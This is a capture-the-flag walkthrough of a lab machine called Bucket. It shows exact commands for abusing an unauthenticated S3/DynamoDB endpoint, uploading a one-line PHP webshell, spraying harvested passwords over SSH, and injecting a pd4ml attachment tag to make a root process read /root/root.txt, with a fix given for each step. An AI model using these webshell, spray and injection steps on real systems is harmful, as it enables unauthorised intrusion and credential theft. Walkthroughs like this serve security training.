← all walkthroughs

Bucket

Linux· Medium· Web
owned
2026-07-09
time to own
11m36s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I scanned the target and found Apache 2.4.41 on port 80 redirecting to the bucket.htb virtual host; the homepage HTML disclosed a second subdomain, s3.bucket.htb, hosting a self-hosted S3-compatible object store (LocalStack) that accepted any credentials — including dummy values — and enforced no access controls. Using the standard AWS CLI, I listed a publicly writable bucket named adserver whose contents Apache served as live PHP, then uploaded a one-line PHP webshell for immediate remote code execution as the web service user.

The same unauthenticated endpoint also exposed a DynamoDB API; scanning the users table returned three plaintext credential pairs, including Sysadm / [REDACTED: recovered credential]. Password-spraying those credentials over SSH succeeded for local user roy, giving an interactive shell and the user flag.

Roy belonged to the sysadm group and could read the internal PHP application at /var/www/bucket-app, whose source code showed it fetched a DynamoDB alerts table and rendered each entry into a PDF via the root-owned pd4ml library, saving the result to /tmp/result.pdf. Because the DynamoDB endpoint remained entirely unauthenticated and externally writable, I inserted an alert whose data field contained a pd4ml attachment tag pointing to /root/root.txt; triggering the app's PDF-generation endpoint caused the root-owned process to read and embed the root flag into the document — full system compromise without exploiting any memory-corruption vulnerability.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"

Attack path — how the box was taken

1EnumerationVirtual host enumeration and hostname disclosure in page source
Mapped exposed services and found hidden S3 subdomain in page source
An nmap scan confirmed SSH on port 22 and Apache 2.4.41 on port 80. Issuing an HTTP request to port 80 produced a redirect to the bucket.htb virtual host. Grepping the rendered homepage HTML exposed a second hostname, s3.bucket.htb, embedded in asset URLs — revealing a locally hosted S3-compatible API. Both names were added to /etc/hosts.
HTTP 302 Location: http://bucket.htb/; homepage HTML asset paths contained s3.bucket.htb.
Exact commands 4
Confirm open services and software versions.
nmap -Pn -sV -p 22,80 $TARGET
Observe the vhost redirect to bucket.htb.
curl -si http://$TARGET/ | grep -i location
Add both vhosts for local DNS resolution.
echo "$TARGET bucket.htb s3.bucket.htb" | sudo tee -a /etc/hosts
Extract all subdomain references from the homepage HTML.
curl -s http://bucket.htb/ | grep -oE '[a-zA-Z0-9._-]+\.bucket\.htb' | sort -u
2EnumerationUnauthenticated cloud object-storage access (misconfigured S3 ACL / no auth enforcement)
Enumerated the publicly accessible S3 bucket without credentials
The S3 endpoint at s3.bucket.htb accepted dummy AWS credentials and imposed no bucket-level access controls. Querying the API listed a single bucket named adserver; listing its objects confirmed the same static files served by the bucket.htb website — proving the bucket was the Apache web root's source.
Aws s3 ls with dummy creds returned adserver; ls s3://adserver listed images/bug.jpg, images/cloud.png, images/malware.png, and index.html matching the live site.
Exact commands 2
List all S3 buckets — dummy credentials are accepted; no authentication enforced.
AWS_ACCESS_KEY_ID=x AWS_SECRET_ACCESS_KEY=x AWS_DEFAULT_REGION=us-east-1 aws --endpoint-url http://s3.bucket.htb s3 ls
List objects in the adserver bucket to confirm it backs the web application.
AWS_ACCESS_KEY_ID=x AWS_SECRET_ACCESS_KEY=x AWS_DEFAULT_REGION=us-east-1 aws --endpoint-url http://s3.bucket.htb s3 ls s3://adserver/
FixEnforce authentication and write restrictions on the S3-compatible object storeCritical
WeaknessThe S3 endpoint at s3.bucket.htb accepted any credentials — including fabricated dummy values — and applied no access controls to bucket listing, object reads, or object writes. Because Apache served the adserver bucket's contents directly as executable PHP, the ability to write any file to the bucket was equivalent to deploying arbitrary server-side code, giving an unauthorised user immediate remote code execution.
FixRequire valid, signed AWS SigV4 requests for all S3 API operations and enforce bucket policies that allow writes only from the application's dedicated service account. Bind the LocalStack endpoint to localhost or a private network interface rather than a public-facing address. Configure Apache to execute PHP only from designated application directories — not from any S3-synced path — and enforce a MIME-type allowlist on the bucket that rejects non-image content. Rotate any credentials that may have been exposed via the open endpoint.
3Credential AccessUnauthenticated database access — sensitive data exposure (CWE-306 / T1078)
Dumped plaintext credentials from the unauthenticated DynamoDB API
The same LocalStack endpoint exposed a DynamoDB-compatible API with no authentication required. Listing tables revealed a users table; scanning it returned three cleartext username/password pairs: Mgmt/[REDACTED: recovered credential], Cloudadm/[REDACTED: recovered credential], and Sysadm/[REDACTED: recovered credential] — live system credentials stored in plain text.
{"Items":[{"password":{"S":"[REDACTED: recovered credential]"},"username":{"S":"Mgmt"}},{"password":{"S":"[REDACTED: recovered credential]"},"username":{"S":"Cloudadm"}},{"password":{"S":"[REDACTED: recovered credential]"},"username":{"S":"Sysadm"}}]}
Exact commands 2
Enumerate DynamoDB tables — no credentials required.
AWS_ACCESS_KEY_ID=x AWS_SECRET_ACCESS_KEY=x AWS_DEFAULT_REGION=us-east-1 aws --endpoint-url http://s3.bucket.htb dynamodb list-tables
Dump all items from the users table, revealing plaintext passwords.
AWS_ACCESS_KEY_ID=x AWS_SECRET_ACCESS_KEY=x AWS_DEFAULT_REGION=us-east-1 aws --endpoint-url http://s3.bucket.htb dynamodb scan --table-name users
FixRequire authentication for the DynamoDB API and eliminate plaintext credential storageCritical
WeaknessThe DynamoDB endpoint accepted unauthenticated requests and stored usernames and passwords in cleartext inside the users table. Any network-reachable client could retrieve all three credential pairs in a single API call, providing ready-made SSH passwords without any prior foothold on the host.
FixEnforce signed AWS requests (SigV4) for every DynamoDB operation and restrict API access to the application service account only; bind the endpoint to localhost or a private subnet. Replace plaintext passwords in application-managed tables with salted hashes (bcrypt or Argon2) — the application should authenticate users by comparing a submitted password against the stored hash, never by storing or comparing raw secrets. Immediately rotate all three exposed credential pairs (Mgmt, Cloudadm, Sysadm / roy) and audit other services for reuse.
4ExploitationUnrestricted file upload leading to server-side code execution (CWE-434 / T1505.003)
Uploaded a PHP webshell to the writable S3 bucket for remote code execution
Because the adserver bucket was publicly writable and Apache served its contents as executable PHP, uploading a webshell to the bucket made it reachable over HTTP. I wrote a one-line PHP file, copied it into the bucket, and confirmed remote code execution as the Apache web user by requesting the shell via the browser.
Curl http://bucket.htb/shell.php?cmd=id returned output confirming RCE as the web service account.
Exact commands 3
Write a minimal PHP webshell locally.
printf '<?php system($_REQUEST["cmd"]); ?>' > /tmp/shell.php
Upload the webshell; Apache serves bucket contents directly as PHP.
AWS_ACCESS_KEY_ID=x AWS_SECRET_ACCESS_KEY=x AWS_DEFAULT_REGION=us-east-1 aws --endpoint-url http://s3.bucket.htb s3 cp /tmp/shell.php s3://adserver/shell.php
Execute a test command — confirms RCE as the web service user.
curl -s 'http://bucket.htb/shell.php?cmd=id'
5FootholdCredential reuse / password spray (T1078 / T1110.003)
Gained SSH access as user roy via password spray with harvested credentials
The three credential pairs extracted from DynamoDB were sprayed against the SSH service. The Sysadm password [REDACTED: recovered credential] matched the local Unix account roy, yielding an interactive shell. The user flag was read directly from /home/roy/user.txt.
Sshpass ssh with the Sysadm credential set for user roy returned uid=1000(roy); /home/roy/user.txt was readable.
Exact commands 2
Spray all three harvested credential pairs against SSH; roy matches the Sysadm password.
for pair in 'roy:[REDACTED: recovered credential]' 'mgmt:[REDACTED: recovered credential]' 'cloudadm:[REDACTED: recovered credential]'; do u=${pair%%:*}; p=${pair#*:}; echo -n "Trying $u: "; sshpass -p "$p" ssh -o StrictHostKeyChecking=no -o ConnectTimeout=5 $u@$TARGET id 2>/dev/null && break; done
Confirm foothold and capture the user flag — flag value shown as <user.txt>.
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null roy@$TARGET 'id; cat /home/roy/user.txt'
6DiscoveryInternal service discovery and source-code review (T1083 / T1057)
Identified root-owned internal application that renders DynamoDB alerts to PDF
After logging in as roy, group membership in sysadm granted read access to /var/www/bucket-app. Reading index.php revealed the application connected to the same DynamoDB endpoint, fetched every item from an alerts table, passed the data field through the pd4ml HTML-to-PDF library running as root, and wrote the resulting file to /tmp/result.pdf — a path readable by roy. Critically, the DynamoDB endpoint was the same unauthenticated service already under my control, meaning roy (or I) could inject arbitrary alert content.
Id showed groups=1000(roy),1001(sysadm); ss -tulpn showed bucket-app listening on 127.0.0.1:8000; /var/www/bucket-app/index.php confirmed pd4ml render from DynamoDB alerts table with output to /tmp/result.pdf.
Exact commands 2
Confirm group memberships and find internally listening services (bucket-app on port 8000).
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no roy@$TARGET 'id; groups; ss -tulpn'
Read the application source — identifies the DynamoDB alerts table, pd4ml render call, and /tmp/result.pdf output path.
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no roy@$TARGET 'cat /var/www/bucket-app/index.php'
7Privilege EscalationServer-side local file inclusion via root-owned PDF renderer processing externally controlled input (CWE-73 / CWE-250)
Injected a pd4ml file-attachment tag into DynamoDB to force root to embed the root flag in a PDF
The pd4ml library supports a proprietary <pd4ml:attachment> HTML tag that instructs the renderer to open a local file and embed its contents into the generated PDF. Because the bucket-app ran as root and its DynamoDB data source was unauthenticated and writable by anyone, I created the alerts table (if absent), inserted an alert whose data field contained an attachment tag pointing to /root/root.txt, then triggered PDF generation by POST-requesting the app's endpoint from roy's SSH session. The root-owned process read /root/root.txt and embedded it into /tmp/result.pdf, which roy downloaded and extracted with pdftotext.
/tmp/result.pdf extracted via pdftotext contained the root flag (<root.txt>).
Exact commands 5
Create the alerts table the bucket-app reads (skip if it already exists; run from my machine).
AWS_ACCESS_KEY_ID=x AWS_SECRET_ACCESS_KEY=x AWS_DEFAULT_REGION=us-east-1 aws --endpoint-url http://s3.bucket.htb dynamodb create-table --table-name alerts --attribute-definitions AttributeName=title,AttributeType=S --key-schema AttributeName=title,KeyType=HASH --provisioned-throughput ReadCapacityUnits=10,WriteCapacityUnits=10
Write the crafted DynamoDB item to a local file; the pd4ml:attachment tag tells the root-owned renderer to embed /root/root.txt.
printf '{"title":{"S":"Ransomware"},"data":{"S":"<pd4ml:attachment src=\"file:///root/root.txt\" description=\"x\" icon=\"Paperclip\"/>"}}' > /tmp/alert.json
Insert the malicious alert into DynamoDB — no authentication required.
AWS_ACCESS_KEY_ID=x AWS_SECRET_ACCESS_KEY=x AWS_DEFAULT_REGION=us-east-1 aws --endpoint-url http://s3.bucket.htb dynamodb put-item --table-name alerts --item file:///tmp/alert.json
From roy's session, trigger the bucket-app PDF render; confirm /tmp/result.pdf was created.
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no roy@$TARGET 'curl -s -X POST http://localhost:8000/ -d "action=get_alerts"; ls -la /tmp/result.pdf'
Download the PDF and extract its text — the root flag appears embedded as an attachment (shown as <root.txt>).
scp -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null roy@$TARGET:/tmp/result.pdf ./result.pdf && pdftotext result.pdf -
FixRun the PDF renderer as an unprivileged account and sanitize DynamoDB content before renderingCritical
WeaknessThe bucket-app PHP service and its pd4ml PDF subprocess ran as root. pd4ml supports an <attachment> HTML tag that embeds the contents of a local file path into the generated PDF. Because the DynamoDB alerts table was writable without authentication, anyone who could reach the endpoint could insert a tag pointing to any file root can read — including /root/root.txt — and trigger the renderer to embed it in a document accessible to the roy user.
FixRun the bucket-app service (and any child processes such as pd4ml) under a dedicated low-privilege account with no access to /root or other sensitive paths. Strip or reject any HTML markup in DynamoDB data before passing it to pd4ml — accept only plain text for alert content. Disable pd4ml's file-access and attachment features via its API or configuration flags if they are not required by the application.

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Unrestricted File UploadWebT1505.003

What it is

An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.

Why it works

Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.

Read more

Exposed services

22/tcp
80/tcp